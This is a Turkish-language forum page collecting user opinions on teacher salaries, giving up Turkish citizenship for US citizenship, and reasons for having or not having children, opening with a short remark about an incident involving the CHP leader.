0
parka
(04.05.25)
adamın tipi tip değil, sokakta görsen siktir çekersin o derece. ama adam chp başkanının yanına yaklaşabiliyor. o kadar koruma vs varken hemde.
adam özgür özel gelecek diye pansiyon tutmuş, plan yapmış ama sebebi yemek kart vermediler diyeymiş.
azmettiricisi bellidir. herkesin aklındaki adam ve ekibi bu işin baş sorumlusudur.
0
rhan
(04.05.25)
(15)

ögretmenlerin maasi gercekten düsük mü?

robert bosch
atanamayanlardan, özelde calisanlardan bahsetmiyorum.biz ilkokuldayken bir hocamiz Atatürk 10 yil daha yasasa ögretmenlerin maasi cok daha fazla olur falan derdi. ayrica klasik olarak o ders anlatmasa da maasini alirmis falan.devlette atanmis ögretmenlerin maaslari hak ettiklerinden düsük mü?benim g
atanamayanlardan, özelde calisanlardan bahsetmiyorum.

biz ilkokuldayken bir hocamiz Atatürk 10 yil daha yasasa ögretmenlerin maasi cok daha fazla olur falan derdi. ayrica klasik olarak o ders anlatmasa da maasini alirmis falan.

devlette atanmis ögretmenlerin maaslari hak ettiklerinden düsük mü?
benim gördügüm cogunluk derse gec geliyor, dersi kaynatmak icin nasihat verip bos yapiyorlar, bunlarin bir denetimi yok, kendilerini gelistirmek zorunda degiller, isten kovulmak imkansiz, yazin calismadigin halde maasin yatiyor vs vs
kendileri yesil pasaportlu, sonra esleri cocuklari vs faydalanabiliyor.

herkes zaten az calismak, rahat etmek, "ideal kadin meslegi" falan diye ögretmen olmak istemiyor mu? neden sonra az maastan sikayet ediyorlar? istanbul'da yasayanlar icin az geliyor olabilir ama istanbul disinda yasayanlar icin de düsük mü gercekten?
0
robert bosch
(16.09.24)
az yeni başlayanlar 45 bin falan anca. 10 yıllıklar 55-60ı geçebiliyor ek derse göre.

memurlar bekçiler aynı parayı alıyor. öğretmenlik kolay bi meslek değil. günde az 4-5 saat 20-40 tane çocuğa ders anlatmak kolay değil.
0
jelly bear
(16.09.24)
Düşük ama dünyanın her yerinde düşük. Öğretmenlik para getiren bir iş değil
0
ferenc
(16.09.24)
yan faydalarını, çalışma şartlarını düşünürsek düşük değil.
başkası yazmış zaten öğretmenlik dünyada çok kazanan bir meslek değil.

kapısında yüzbinlerce atanmayı bekleyen bir ve sınava girilen bir meslek için yüksek bile sayılır.
0
nuisance2
(16.09.24)
on yıl çalışıp geçen senelerde çok basit olan sınavı geçerek uzman öğretmen olanlar, ek ders olmadan 50ye yakın alıyorlar. uzman öğretmen olmayanların sayısı çok az. kendi politik sebepleriyle bunu reddedenler dışında 10yıllıkların hepsi uzman diyebiliriz.

yeni başlayanlar 40a erişmiyor sanırım.

haftalık 18 saatten sonra ek ders alıyorlar.
ek ders olayı okula göre değişiyor. bazı okullarda öğretmenlerin sayısı fazla olabiliyor ve istese de ek ders alamıyorlar. bu durumda haftalık yaklaşık 20 ders. günde 5 ders desen haftada 4 gün çalışmış olurlar.

her gün dolu olsa sabahtan 9dan akşam 15'e kadar okuldalar.
her günleri dolu değil, 9da derse girip 12de çıkıyorlar bazı günler.

yani, az mı çok mu zor mu değil mi diye düşününce, evet zor günleri de oluyor ama saat/kazanç olarak bakılınca hiç de fena değil şartları.

ben öğretmen değilim, kız arkadaşım öyleydi. ondan biliyorum bunları.
onla ve arkadaşlarıyla tanıştıktan sonra öğretmenlerin şartlarının o kadar da kötü olmadığını farkettim. (eski saygınlıklarının kalmaması, müfredatın kötü olması, veli ve öğrencilerin vasatlığı gibi konuları bahse konu etmiyorum.)

istanbul dışında yaşayanlar daha iyi.

şikayetleri geçmiş yıllara göre saygınlıklarını yitirmeleri ya da daha sert bi özel sektör işinde çalışmamış olmaları yüzünden olabilir.

bu arada, bu şartlar mevcut öğretmenler için. şimdi yeni öğretmenler zor atanıyor. atanınca kazançları sanırım 30 civarında oluyor. ücretli öğretmenlik gibi garabet bir durum var ki asgari ücret bile almıyorlar ve iş garantileri yok. özel sektördeki öğretmenlerin durumu zaten malum.

bi de devlet iyide buluşturmak yerine kötüde buluşturmak istiyor. özel ve ücretli öğretmenlerin standartlarını yükseltmektense mevcut öğretmenlerin standartını düşürmeye hevesli.

meb bakanı zaten bildiğin öğretmen ve öğrenci düşmanı. mübalağasız.
0
biseysorcaktim
(16.09.24)
Siz sınıf ortamını heralde pür dikkat dinleyen , çıt çıkarmayan çocuklardan oluşan bir ortam zannediyorsunuz . çocukları susturup ders anlatmak deveye hendek atlatmaktan zor. Yeni sistemde öğretmenin hiçbir yetkisi yok. çocuklara bile sus diyemiyor. dersten kovma yetkisi yok. sınıfta bırakma yetkisi yok. çocuklarda bunun farkında olduğu için dersi dinlemeyor. zaten sınıfta kalmak bile bir mucize sınıfta kalma yok. bunu bilen çocuklarda neden çalışayım enayi miyim diyor.

derse öğretmenler geç giremez müdürler hemen ek dersini keser. dersi kaynatamaz çünkü sınıfın başarılı olması lazım. başarılı olmazsa öğretmen için sıkıntı yaratır bu durum. veli idare milli eğitim baskısı üstlerinde.
çocuklar bahçede oynarken kolunu kırsa başına bela olur velilere açıklayamazsın bu durumu. bütün öğretmenler diken üstünde. millet çocuklarını sana emanet ediyor. o çoçuğa bişey olsa gözünün yaşına bakmazlar ihraç olursun.

öğretmenlik yapılacak bir meslek değil.

asıl yapılacak meslek ofis işleri. tatilmiş falan çekici değil. ekşisözlüğe ve duyuruya bakıyorum rahatlar maaşlarıda öğretmenlerden yüksek.

asıl yapılacak iş ofiste çalışmak.
0
komando kani var bende
(16.09.24)
bence düşük değil. kamuda öğretmenlik kadar rahat meslek azdır.
0
NowWeAreFree
(16.09.24)
Degil. Ogretmenler şu an TC tarihinde en iyi maaşı aliyorlar. 2 yıl önce 350 dolar alıyorlardı, şimdi ise 1500-2000 dolar arasında maaşları.

Bir sürü öğretmen arkadaşım da, 3-4 ay tatilleri de göz onunde bulundurulduğunda, ülkedeki en şanslı çalışan kesim olduğunu söylüyor.
0
summerof69
(16.09.24)
Bir de bunlar haftanın 4 günü çalıştığı için ek iş yaparak da gelirlerini arttırıyorlar. Bu arkadaş anlatmış:

x.com


Bu da maaş değişimi :

soz.lk


Zaten öğretmenlere bu kadar iyi maaş verildiği ve bütçe de zorlandığı için artık öğretmen ataması yapılmıyor. Yeni ogretmenlerin hepsi ücretli.
0
summerof69
(16.09.24)
onlar nasıl bilgiler öyle ya:) 9 yıllık öğretmen maaşı 42.385. uzman olsaydım 3-4 bin arası bir şey fark olacaktı. ama değilim. ek dersimiz de bu eylülde 6-7 bin arası olur. o da herkese göre ayrıdır. benim yurt nöbetim var. herkes bu parayı almayabilir. fazlası da olabilir. nöbet diyoruz o da kolay değil 24 saat öğrencilerden sorumlusun koca binada.
bir de bazıları gerçekten sınıfı filmlerde, dizilerde gördüğü şekilde sanıyor. ders anlatmayı şöyle ifade edeyim günde en az beş tane sunum yapacaksınız ve karşınızda 40 tane çocuk var, yetişkin değil. rahatlık yok mu diyorsanız yarın sabah erkenden dersim yok biraz uyuyacağım. ama öğrencilerin en aç ve yorgun olduğu saatlerde ders anlatacağım. böyle şeyler.
yazın da tercih döneminde rehber öğretmenler çalışır. destekleme kurslarında branş öğretmenleri ders verir. öyle tatil oldu herkes rahat diye bir durum yok.
0
oyokbuyoknevar
(16.09.24)
Milletvekillerinden sonra en gereksiz yüksek maasi ögretmenler alir çünkü türkiyede yapilabilcek en kolay memurluk.
0
Yourcousinmarvinberry
(16.09.24)
Alınan eğitime ve beklenen sorumluluğa göre düşük maaşları.

Kamuda çalışan hiçbir görevlinin iş yükü olarak farkı yok bundan. Ama maaşları öğretmenden yüksek. İmam ne iş yapıyor da öğretmenden fazla almayı hak ediyor?


Ben işini yapan polis memuru görmedim mesela. Denetimi yok, kendini geliştirmek zorunda değil, işten atılması imkansız, gün boyu sistem yok deyip masa başında otursan da maaşın yatıyor, yeşil pasaport vs her şeyin var.


Dolayısıyla evine hırsız girdiğinde, saldırıya uğradığında kıçını kaldırmayan polisten daha az maaş almak koyuyordur adamlara. Onlar da sallapati yapıyordur işleri. Madem maaş bu, iş de bu.

Sen çocuğunun öğretmeni dört dörtlük eğitim versin istiyorsan imamdan çok para verilecek. Yoksa özel derse bir zahmet.
0
lancelot du lac
(16.09.24)
sadece şunu düşün cevabı rahatlıkla bulacaksın.
bugün imkan tanınsa kaç kişi yaptığı işi bırakıp kamuda öğretmen olma imkanını kullanır, kamudaki kaç öğretmen başka bir şey yapma imkanını kullanır? sayıları çok ve ağlamaları da çok duyuluyor bu sebeple de haklı oldukları zannını yayabiliyorlar. hepsi bu.
0
Whily
(16.09.24)
öğretmenlikten, çocuklara söz dinletmekten, kalabalık sınıflara ders anlatmaktan şikayet edenlere;

ben mezun olurken formasyon alıp öğretmenliğine geçebileceğim halde bunları sevmediğim ve yapmak istemediğin için öğretmenliği bir dakika bile düşünmedim.
üstelik o dönemlerde öğretmenlerin öğrenci ve veli önünde hala bir saygınlığı vardı.

siz şimdi sırf memurluk kolay, izni bol, iş garantisi diye devlet kapısında sıra olup bir de şikayet ederseniz toplum size elbette iyi bakmaz.
0
nuisance2
(16.09.24)
kuzey ege bölgesini dolaşın yazlıkların bir çoğununun sahibi emekli öğretmen çiftler.

bahsettiğim yazlıklar en kötü 8-10 milyondan başlıyor.
0
nuisance2
(16.09.24)
Arkadaşlarım var, ham maaşa yakın bir de ek ders ücreti alıyorlarmış. Ham maaş çok yüksek değilmiş ama ek dersten de para geldiği sanırım 50 bin civarı. Üstelik sadece günün yarısında çalışıyorlar. Yazın da 2 ay tatil.

Avukatlar ise (ücretli çalışan) 20 bin, 30 bin bandında maaş alıyor. Haftada 45 saat çalışıyorsun üstelik. Müvekkiliydi hakimi savcısıydı duruşmasıydı, bunlarla uğraşması da başa bela.

Kendi ofisi olan, az çok çevresi olan tabi ki daha iyi kazanıyor o ayrı ama çoğu kişinin durumu gerçekten çok kötü avukatlık piyasasında.
0
turuncu tonlarda
(16.09.24)
(13)

Size amerikan vatandaşligi verilecek ama Tr vatandaşliginiz silinecek

Zetnikov
Kabul eder misiniz. Tr vatandasligi hakkiniz bir daha olmayacak. Neden?
Kabul eder misiniz. Tr vatandasligi hakkiniz bir daha olmayacak. Neden?
0
Zetnikov
(24.08.24)
nereye başvuruyoruz
0
my fault
(24.08.24)
TR vatandaşlığının bir avantajı yok. Vatandaşlıktan çıkanlar mavi kart alabiliyor oy verme hariç Türk vatandaşlığından farkı yoktu. (gerçi bu sadece Almanya veya AB için çıkmış bişey mi emin değilim)

Mesela Hollanda çifte vatandaşlığa izin vermiyor, bir akrabam oranın vatandaşı olmak için TR vatandaşlığından çıktı.

ABD'de vergi sıkıntısı var diyorlardı, dünyanın neresinde yaşarsan para kazanırsan yine de ABD'ye vergi vermen gerekiyor. Seyahat özgürlüğü ve tehlikeli bi durumda devletinin arkanda durması açısından ABD vatandaşlığı iyidir.
0
nhk ni youkosu
(24.08.24)
@Mehmettheslim
Amerika'da yaşayacaksın dememiş.
vatandaşlığı alıp Türkiye'de mis gibi yaşarım ülkemiz yabancılar için cennet;)
(bkz: vatandaşı olmasan aslında eğlenceli ülke)
0
late viper
(24.08.24)
Amerikaya bebek katili diyip oradan vatandaslik alan cocuklarini okutanlar varken bazi yorumlar bana inandirici gelmiyor kankitolar
0
🌸Zetnikov
(24.08.24)
Olmaz.
Tabi tek neden bu değil ama özellikle bu seçimlerinden sonra ortalık daha da gerilecek oralarda. İdeolojik ayrışma var.
0
diyecevaplandı
(24.08.24)
tc kimliğinin bir avantajını 30 yaşıma kadar görmedim, bundan sonra da göreceğimi sanmıyorum.
0
Whily
(24.08.24)
Tabii ki kabul ederim. Devlet vatandasina nerde sahip cikiyor ki? Bi refah da saglayamiyor. Ulkede ikinci sinif vatandasiz zaten turkler olarak. E yurt disina gitsen vize kuyrugundasin. Ben hicbir avantajini gormuyorum tr vatandasliginin.
0
Kittie
(24.08.24)
akebeli dayı gibi konuşacağım ama kabul etmem, türk vatandaşlığımı silmeseler de etmem. burayı çok sevdiğimden değil abd'den nefret ettiğim için. pü pü allah korusun.

ayrıca tr vatandaşlığının silinmesi sıkıntılı bir durum. tamam abd vatandaşı birisi muhtemelen iyi kazanır, istediği zaman da pek sorun yaşamadan girip çıkar türkiye'ye ama bilmiyorum ya benim ailem, sevdiklerim vs. ülkenin durumundan memnun olmasam bile türkiye'de yani. doğup büyüdüğüm topraklara yabancı olarak girebilmeyi, işte oturum iznine başvurmadan ne kadar kalabilirim diye bakmak zorunda olmayı istemem. anam, kardeşlerim, yeğenim, arkadaşlarım vs. sağ olduğu sürece çok sevdiğim başka bir ülke vatandaşlık verse dahi tr vatandaşlığımı kaybetmek istemem. isterse dünyanın en berbat köşesi olsun, doğup büyüdüğüm ve neredeyse her şeyimi yaşadığım topraklara yalnızca bir yabancı olarak girebilmek benim zoruma gider, üzülürüm.
0
mark greg sputnik
(25.08.24)
Ruhumu bile satisa çikarabilirim USA için, vatandaslik ne ki.
0
Yourcousinmarvinberry
(25.08.24)
kabul ederim. sebebi çok basit. abd'de rahatça ikamet edip çalışabilmek için. abd'yi çok seviyorum
0
abelardo
(25.08.24)
asla. ben bu topraklara aitim ve önceliğim her zaman kendi ülkemin vatandaşlığı olur. söylediğiniz durum sanırım yalnızca iltica durumunda geçerli ki bu benim kabul edemeyeceğim bir durum.
2 yıl önce green card başvurum olumlu çıkmasına rağmen süreci hiç ilerletmedim bile. bi hevesle başvurmuştum zaten çıkmaz diye. gezip tozmalık gittim pek çok yere, gezmelik gidişler çok da güzeldi ama uzun süre başka bir yerde kalamıyorum ben ki amerika dışardan gözüktüğü gibi de değil pek çok konuda. gidip dönen de çok etrafımda. abd'de pek çok yeri gittim gördüm turistik olarak gayet güzel ama uzun süreli yaşam bana göre değil.
0
ezkaza
(25.08.24)
ABD pasaportu verilirse asimile olmam en fazla 10 dakikamı alır, 1,5 gün sonra falan belediye ile kavga edecek kadar oturduğum muhiti besinimseyip sorunlarıyla dertlenecek ve çözüm arayacak duruma gelirim.
0
Kaleci Saçlı Yırtıcı Forvet
(25.08.24)
Sirf bir zarari yok diye isteyebilirim ama cok da onemli degil. Bu arada hollanda cifte vatandasliga izin vermiyor denmiş ama bu nedir yeni birsey mi? Normalde izin veriyor çünkü.
0
mbond
(25.08.24)
(44)

Neden çocuk yapıyorsunuz?

ananiyimioguz
Biz pek düşünemiyoruz. Ben 30, eşim 32 olacak ama mantıklı gelmiyor. Aslında ben evlenmeden önce daha yakındım. Yani ileride çocuğum olur, babalık ve hatta dedelik hislerini yaşamak isterim diye düşünürdüm. Evlendikten sonra ülke, dünya, ekonomi, çevre vs. yüzünden ben de biraz uzağım ama eşim mesel
Biz pek düşünemiyoruz. Ben 30, eşim 32 olacak ama mantıklı gelmiyor. Aslında ben evlenmeden önce daha yakındım. Yani ileride çocuğum olur, babalık ve hatta dedelik hislerini yaşamak isterim diye düşünürdüm. Evlendikten sonra ülke, dünya, ekonomi, çevre vs. yüzünden ben de biraz uzağım ama eşim mesela kendini bildi bileli istemiyormuş, hala istemiyor. Oturup biraz konuştuk, biraz bencil olmak gerekiyor gibi geldi. Pek mantıklı bir sebep bulamadık.

- Olaya ilkel bakamıyoruz. Yani türümüzün devamlılığı gereği doğurmak gerekir falan diye düşünmüyoruz, öyle bir durum söz konusu değil zaten şu an. Hatta nüfus artışı dünyayı felakete sürüklüyor. Millet neden tavşan gibi ürüyor anlamıyoruz.

- Yine ilkel gelen bir görüş, nasıl ki eskilerde "boşanma" gibi bir kavramın olmadığı gibi, "çocuk yapmama" gibi bir bilinç de yokmuş gibi geliyor çoğu insanda.
Yani toplumsal olarak evlenince = çocuk yapılır gibi öğrenilmiş bir kalıplaşmış düşünce var. Kültürel ve dini olarak da bakıyor kimi. Çevre baskısı da had safhada. Bizde böyle şeyler de yok.

- Yine kırsal bir kafayla düşünüp, ya işte çocuk evin neşesidir dolansın ortalıkta, hem bağa bahçeye yardım eder, ne kadar çok çocuk, o kadar iyi. Birlikte büyürler gibi bir olayımız, düşüncemiz de yok. Zaten çok ilkel ve kontrolsüz bir üreme düşüncesi gibi geliyor. Çocuk sayısı arttıkça, çocuklar üzerine düşen refah azalıyor çok çok zengin değilse aile.

- İnsanın anlam arama ihtiyacı. Geçenlerde yaşarken çok boş oyalanmıyor muyuz gibisinden varoluşsal bir soru sormuştum. Öleceğini bilmek ve anlam arayışı zor bir süreç insanoğlu için. Bana çözüm olarak bir kaç kişi çocuk yap demişti. Belki bu bir çözüm olabilir. Fakat bunu yaparsam annelerimiz babalarımızdan ne farkımız kalıyor diye düşünüyorum. Onlar da büyük ihtimalle hayatı yaşamak için bir anlam bulamıyorum bari kendimi çocuğum üzerinden gerçekleştireyim diye düşündüler. Onlar için yaşadılar. Sonra da bişey olsa "yemedim yedirdim içmedim içirdim" diye başlarlar. "Ben kendim yaşamadım sen düzgün yaşa diye" diyerek yakınırlar. Yahu yaşasaydın kardeşim. Biz yaşamayı tercih edenlerdeniz. Bir çocuğa hayat adanması gerekliliğine karşıyız. Asgari düzeyde ayırırsın, ama hayatı kendin için yaşarsın. Ki ben, biz çocuk yapsak bile yine gezeriz tozarız diye düşünüyorum o kadar da paralatmayız kendimizi ama belli de olmaz. Çocuk büyüyüp ailesine dönüp bakınca kendini onun için heba etmiş bir aile görünce mutlu olmuyor ki. Çocuk en başta, birbirini ve hayatı seven ebeveynler görmek istiyorum.

Yani sonuç olarak bencilce bir yaklaşımla, sırf anlam arayışın için çocuk dünyaya getiriyorsan, bu hiç mantıklı gelmiyor. Çocuk sevme ihtiyacı için veya birinin sana bağlanması, sevilme ihtiyacın için vs... Hem belki çocuk sevmeyecek bu dünyayı veya seni.

- "Filmi bırak, peki çocuk olmuş mu?" Çocuk belki senin görüşlerini benimsemeyecek. Benimsemek zorunda değil belki biz özgür yetiştirme taraftarı oluruz ama aşırı aykırı davranacak belki. Hiç istemediğin bir yola sapacak. Sen ne kadar eğitim verirsen ver, görgü öğretirsen öğret dış dünyadan iyice soyutlanacak çocuk. Akran zorbalığına uğrayacak. Herkes aynı eğitim ve bilinç düzeyinde eğitmiyor ki çocuklarını. Sen ne yaparsan yap internet ve arkadaş çevresi sağ olsun beyinleri yıkanacak cocukların. Sana efendiyi oynayacak ama dışarıda bambaşka biri olacak belki. Ama sen kendi çocuğun diye yakıştıramayacaksın onu hep masum ve tatlı çocuğun, güzel kızın, aslan oğlum olarak gibi göreceksin. Ama belki pisliğin teki olacak. Veya aptalın teki olacak. Çocuk istedimiz gibi oluyor mu? Sanki bazen ne yaparsak yapalım olmuyor. Bunlar uç örnekler ama alınan sorumluluğun farkında mısınız?

- Kelebek etkisi. Siz nasıl yetiştirseniz yetiştirin. Yeni gelişen bir canlıya (çocuğa) uyguladığınız en ufak bir yanlışı, çocuk psikolojisiyle ödeyebilir. Başkası, çocuğunuzun büründüğü karakter veya huy yüzünden ödemek zorunda kalabilir. Çocuk, kendine zarar verebilir. İş yerindekilere kötü veya aşırı iyi davranabilir. Eşine ve çocuklarına karşı kötü veya aşırı iyi davranabilir (zarar göreceği düzeyde).

Yani "doğru" çocuk yetiştirmek ne demek? Bence böyle bir şey yok. Nasıl yetiştirirseniz yetiştirin, en ufak bir aktarılan bilginin sonucunu çocuğunuz yüzünden diğer canlılar çekecek. Bu iyi de olabilir kötü de olabilir. Çok iyi yetiştirirseniz kendi zarar görebilir, kötü yetişirse başkaları zarar görebilir. Yani etkisi zincirleme olarak etkileşim kurduğu tüm diğer canlı ve cansız varlıklara aktarılmış olacak. Bunun sorumluluğunu nasıl alabiliyorsunuz?

İşte ben annelik-babalık duygusu tadıcam, çocuk sevicem, ay birisi bana anne veya baba diyecek düşünsene *_* diye bencilce baktığınız bir olayın altındaki sorumluluğun büyüklüğünü görebiliyor musunuz? Bence çok fazla. Çocuk belki dünyayı görünce lanet olsun ne biçim yere geldim diyecek. İntihar edebilir, hassas bir kalbi olabilir sürekli depresif bir halde dolanabilir. Kendi doğrularınızı, kendi dininizi aktardınız diye aslında olabileceğinden, yani potansiyelinden daha kötü şartlarda büyüyüp ölebilir. Veya sizin gerçekliğinizden çıkıp dış dünyayı görünce sizden uzaklaşabilir.

Gerek var mı oyuna bir karakter daha sürmeye?

- Dış dünya tehlikesi. Çocuk her an bir savaşa, virüse, kimyasal bir saldırıya maruz kalabilir. Tecavüz edilebilir, vurulabilir, bıçaklanabilir, psikolojik sorunlar yaşabilir, dayak yiyebilir, veya bunları başka birine uygulayabilir. Dışarısı, aklı başında bir insanın pek de yaşamayı isteyebileceği bir yermiş gibi durmuyor. Ona nasıl koruma garantisi verebiliyorsunuz veya başına bir şey gelse, o sorumluluğu kaldırabilecek güçte misiniz?

Gibi gibi sebepler aklımızda dönüyor...

Edit: İmla.
0
ananiyimioguz
(23.05.24)
Bencilce olabilir. Ama doğal ve insani, bencillik de doğal. Sorumluluk da büyük evet, ama kendi adıma sorumluluk almayı severim. Ya ben bu adamın çocuğumun babası olmasını istiyorum dediğim biriyle tanışsaydım çok net anne olmak isterdim bi 10 sene içinde. Birine o kadar güvenmek bana asıl zor gelen kısım. Neyse nihayetinde bir insan yetiştirmek, beraber büyümek öğrenmek, hayatı deneyimlemek, birini kendinden çok sevmek falan çok fantastik duygular, deneyimler. Yaşamak lazım diye düşünüyorum. Ama hayatın amacı da değil. Çocuk güzel bi lüks bence, fakat ihtiyaç değil. Olsa da olmasa da hayat güzel olabilir, kişiye bağlı.
0
nic cage
(23.05.24)
Yapmiyoruz. Cevremdeki evli ciftlerde de oran yari yariya. Yani yarisi cocuk sahibi oldu ya da olmak istiyor, yarisi hic cocuk istemiyor.
0
sertac akin
(23.05.24)
Mantıklı düşünürsen zaten çocuk işine girmezsin, biraz dürtüsel bir karar. Benim oğlan 2 yaşına geliyor ben daha babalığı yeni anlıyorum. 2 senedir aralıksız ağlıyordum niye yaptık diye ama şimdi uyurken bile özlüyorum, garip bir durum. Mantık aramaman lazım bu işte.
0
mirty
(23.05.24)
Kimse bu kadar düşünerek mantık çerçevesine oturtup çocuk yapmıyor. Bu kadar düşünen yapmaz zaten. Nefes almak, yemek yemek, seks yapmak gibi bir şey çocuk yapmak da. Hayatta kalma içgüdüsünün bir sonucu, kendini çoğaltarak ölümsüz olma çabası. Hatta bu yüzden, mantık çerçevesinde düşünüp çocuk yapmamayı seçmek bir nevi pasif intihar gibi geliyor bana. (Ben de yıllardır antinatalistim)
0
duguit
(23.05.24)
denildiği gibi insanlar istediği için yapıyor direkt bir somut nedeni yok. evlat sahibi olmak anne baba olmak için yapıyorlar.

o kadar düşünen yapmaz zaten +1, yapanlar da o kadar düşünmüyor. sizin için gerek yoksa yoktur. yapana gerek var mıydı diye soramazsınız.

ben de istemiyorum mesela.
0
jülsezar
(23.05.24)
Çocuk sahibi olmak, yeme gibi, içmek gibi biyolojik bir ihtiyaç. Hayatın doğal akışı. Maddi sebeplerle olsun, zamanın modasıyla olsun istenmiyor olabilir. Bu yaşlarda hissedilmiyor olabilir ama travması, yaşam kalitesine olumsuz etkisi, psikolojik sorunları inanın ilerleyen yaşlarda üzerinize çökecektir.
0
Mirket
(23.05.24)
Ekonomik durum iyi değilse cehalet faktörü etkili. Toplum baskısı da var.

Her şey yerindeyse ekonomik durum vb gibi kişisel tercih. Ama evlilik ve çocuk fakiri daha da fakirleştirir.
0
ferenc
(23.05.24)
insanlar cocuk yapiyor cunku bu bizim dogamizda var. boyle hayvansal icguduleri beyaz yakali yaklasimlariyla irdelemek asiri manasiz. cocuk yaparsin ve genlerini aktarirsin cunku bu bizim (dunyada yasayan canlilarin) kodlarimizda var. bu kadar bunun cevabi.
0
bohr atom modeli
(23.05.24)
Ben de şu an 32 yaşındayım ve anne olmak istemiyorum ama çevremde o kadar çok kişi anne olmazsam pişman olacakmışım gibi hissettiriyor ki kabul etmekte zorlansam da etkileniyorum ve bazen "ya sonra keşke dersem" diye düşüncelere gark oluyorum.
istememe nedenim de tamamen sorumluluğundan. kendim kadar çok önemseyeceğim bir varlık kim bilir başına ne dertler açacak hastalanacak üzülecek vs vs seni tasalandıracak diyorum.
Baskın olan hissiyatım yapmamak yönünde. Yaparsam bencilce olsa da merak duygum olabilir.
Ama işin garibi de dışarıda gördüğüm çocuklar olsun kendi yeğenlerim olsun inanılmaz seviyorum ve çoğuyla fazlasıyla ilgileniyorum. Yani anaç yapım yok demiyorum ama kaygılarım ağır basıyor.

çocuk yaptıktan sonra pişman olunca vazgeçebilme hakkımız olsaydı keşke sgjskgksjg
0
Kediyi üzdün
(23.05.24)
@bohr atom modeli, hocam zaten türümüzü diğer hayvanlardan ayıran özellik frontal lobumuzun gelişmiş olması değil mi?

Yani zaten düşünmek ve sorgulamak üzere evrimleşmiyor muyuz?

Hala hayvansal iç güdülerle yaşayacaksak evrimimize haksızlık etmiş olmuyor muyuz?

Tamam ben de hala ilkel olduğumuzu düşünüyorum çoğu yönden ama en azından bir şeyleri yaparken sorgular seviyeye gelmişiz. Kodumuzu aktarıcaz diye düşünmeyelim mi ulan 1dk kodumu aktarıcam ama gerek var mı? İhtiyaç var mı? Herkes kodunu bilinçsiz aktara aktara dünya bu hale geldi zaten demeyelim mi?

O zaman ilkel dürtülerle aile kavramını da hiçe sayalım, birbirimizin üstüne atlayalım. Ne de olsa kodlarımızda vardır o da bir yerlerde.
0
🌸ananiyimioguz
(23.05.24)
Çocuk bakmak aşırı zor bir mesela. Eşini artık çok da sevmiyorsan mesela çocuktaki eşine benzer tarafları görüp çocuktan soguyabiliyorsun bile yer yer. Yeğenimi çok severim normalde, çok da sabırlıýım çocuğa karşı. Ama babasına gıcık olduğum zamanlarda "Baban ne ki sen ne olasın" diye kuruluyorum üç yaşında çocuğa. Bir de ne kadar minyatür bir insan da olsa çocukla frekansınız uymayabiliyor. Sen çok sakinsen hareketli çocuga sinir oluyorsun, ikili diyaloğa giriyorsunuz :p Bir dönem ilkokul öğretmenliği de yapmıştım, oradaki deneyimlerimi de katarak anlatıyorum. Ama günün sonunda sosyopat değilsen ya da çok ciddi bir bunalım geçirmiyorsan barısiyorsunuz, öpüşüp koklasiyorsunuz. Gormediginde özlüyorsun, hayatının merkezine koyuyorsun. Yukarıda bir arkadaşın dediği gibi bu zamanın argümanlariyla işin içinden çıkamıyoruz. Olacağı varsa oluyor, sen de uyum sağlıyorsun duruma.
0
sekizdokuzon
(23.05.24)
Valla ben yazdıklarını okumaya üşendim. 29 yaşındayım. Ekonomik olarak durumları biraz daha toparlayınca 30ların başında falan çocuk yapmayı düşünüyorum yani sağlık sorunu yaşamazsak. Sebebi yok sadece anne olmak istiyorum, karnımda bebek taşımak böyle emzirmek onu büyütmek bir şeyler öğretmek beraber deneyimlemek vs bunları merak ediyorum. Merak duygumu tatmin etmek için çocuk istiyorum. Tabi ki kendi mersk duygum için çocuk yapayım derken onu perişan etmek de istemem tabi ki. Maddi manevi yeterli hissettiğim zaman yaparım bunu.
0
turuncu tonlarda
(23.05.24)
Tam olarak bahsettiğiniz sebeplerden dolayı yapmıyoruz. 32 yaşındayız, 2 yıldır evliyiz ve çocuk fikrine o kadar uzağız ki, uzak kelimesi bile yakın kalır. Zaten şurda kalmış bir bu kadar daha ömrüm, onu da çocuk derdiyle mi geçireceğim zaten? O kadar dertsiz tasasız bir hayatım olursa da çocuk yapmak yerine gezer tozarım. Evde kronik rahatsızlığı olan bir kedimiz var, gözümüz sürekli üstünde. Sırf 1-2 gün uzaklaştığımız zamanlarda aklımız kalmasın diye eve bebek kamerası bile aldım, arada açıp bakıyorum napıyor keyfi yerinde mi diye. Kedinin bile üstüne bu kadar düşerken, hastalandı mı diye gözünün içine bakarken, kendimden olan bir canlıya karşı olan stresimi düşünemiyorum bile. Ülke şartları falan da cabası tabi.

Çevremde "evimi aldım, arabamı aldım, mesleğimi garantiledim. evlenirsem çocuk yaparım çünkü insana hayatta bir amaç lazım" düşüncesinde olan tanıdıklarım da var. Neresinden baksan hastalıklı ve bencil bir düşünce bu bana göre. Sırf kendine amaç olsun, oyuncak olsun, saçma sapan varoluşsal sancılarına derman olsun diye dünyaya bir canlı getirmek büyük bencillik.


Ayrıca "genlerimizde var, üremek için yaşıyoruz" düşüncesi de bu bencilliğe uydurulmuş bir kılıftan başka bir şey değil bana göre. Genlerimizde üremek varsa, kafamızın içinde de beynimiz var. Neyin ne olduğunu sorgulayıp karar verebilme, muhakeme edebilme yeteneğine sahibiz. Şimdi ben çocuk yapmak istemiyorum diye insanlıktan mı çıkıyorum bu durumda yani... Teallam.
0
pianeta
(23.05.24)
Valla ben dünyaya katkım olsun diye yaptım. Çok iyi bir insanım üstelik müthiş zekiyim. Boşa gitmemesi gereken genlerim vardı.
Hep saçma sapan insanlar çocuk yapıp dünyayı daha kötü bir hale getirmesin, ahlaklı düzgün yetişmiş iyi kalpli insanlar da olsun gelecekte diye istedim.

İleride 3 4 tane daha düşünüyorum. Maddi olarak imkanım olursa tabi.
0
Gradient_tabanlı_mor
(23.05.24)
@Gradient_tabanlı_mor, gen aktarımının öyle cımbızla seçerek olduğunu düşünmüyorum da, diyelim ki oldu ve çok zeki, çok yakışıklı/güzel bir çocuk dünyaya geldi. Gayet aklı başında, efendi, saygılı vs. oldu.

Dünya bu özellikleri mükafatlandıran bir yer mi?

Diyelim ki sıyrıldı, mükafatlandı, soruyu şuradan sorayım, dünya bu çabaya değecek bir yer mi?

Dünyadaki en zekilere baktığımız zaman genelde kullanıldıklarını görüyoruz. Çok azı şanslı oluyor. Sistem kaşıkla verip kepçeyle alıyor.

Ayrıca cahiller, eğitimsizler çok fazla ürüyor böyle gitmesin terazinin diğer tarafına biraz bastıralım diye çocuk yapılınca çocuğa haksızlık olmuyor mu uğraşacağı insanlar, yani kötü diye gösterdiğimiz taraf daha çoğunlukta.

Mesela ben aksine, kendimiz gibi bir toplum veya ortam varsa oraya çocuğu koyarım.

